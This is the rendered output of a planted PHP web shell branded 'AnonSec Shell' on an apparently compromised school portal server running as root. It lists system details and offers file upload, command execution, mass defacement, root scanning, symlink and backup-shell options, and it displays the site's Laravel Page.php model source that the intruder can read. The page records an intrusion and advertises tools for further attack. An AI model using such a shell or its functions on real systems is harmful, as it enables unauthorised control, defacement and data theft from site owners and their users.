AnonSec Shell
Server IP :  /  Your IP : 10.244.4.16   [ Reverse IP ]
Web Server : nginx/1.25.3
System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.2.13
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/app/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/app/app/Models/Page.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Page extends Model
{
    use HasFactory;
    protected $fillable = [
        'id','name', 'slug', 'is_menu', 'order', 'data->title', 'data->text'
    ];


    public function banners(){
        return $this->hasMany(Banner::class, 'page_id')->orderBy('order');
    }

    public function video(){
        return $this->belongsTo(Video::class, 'id', 'page_id');
    }

    public function sections(){
        return $this->hasMany(PageSection::class, 'page_id')->select('id', 'section_id','page_id', 'data->title AS data->title', 'data->text AS data->text', 'data->image AS data->image', 'data->file AS data->file')->orderBy('order');
    }

    public function getFullData(){
        return [
            'id' => $this->id,
            'name' => $this->name,
            'url' => $this->slug,
            'sections' => collect($this->sections)->map(function ($item) {
                return $item->getFullInfo();
            })->all(),
        ];
    }

    public function removeSections(array $new_sections)
    {
        $pre_sections = $this->sections()->pluck('id');
        PageSection::whereIn('id', $pre_sections->diff(collect($new_sections)->pluck('id'))->values())->delete();
    }

    public function updateFullData ($request){
        $this->update(['name' => $request->name]);
        $this->save();

        //Eliminar secciones
        $this->removeSections($request->sections);
        
        //Actualiza secciones
        foreach ($request->sections as $value) {
            $value['page_id'] = $this->id;
            $value['order'] = 1;
            
            if(!empty($value['id'])){
                $section = PageSection::find($value['id']);
                $section->update([
                    'section_id' => $value['section_id'],
                    'data->text' => $value['data->text'] ?? '',
                    'data->title' => $value['data->title'] ?? '',
                ]);
            }else{
                $section = PageSection::create($value);
            }
            $section->saveFile((isset($value['imagen']) && $value['section_id'] == 25) ? $value['imagen'] : NULL , 'img/section/I' . $section->id . '.jpg', 'data->image');
            $section->saveFile((isset($value['doc']) && $value['section_id'] == 23) ? $value['doc'] : NULL, 'doc/section/D' . $section->id . '.pdf', 'data->file');


            
        }
    }
}

Anon7 - 2022
AnonSec Team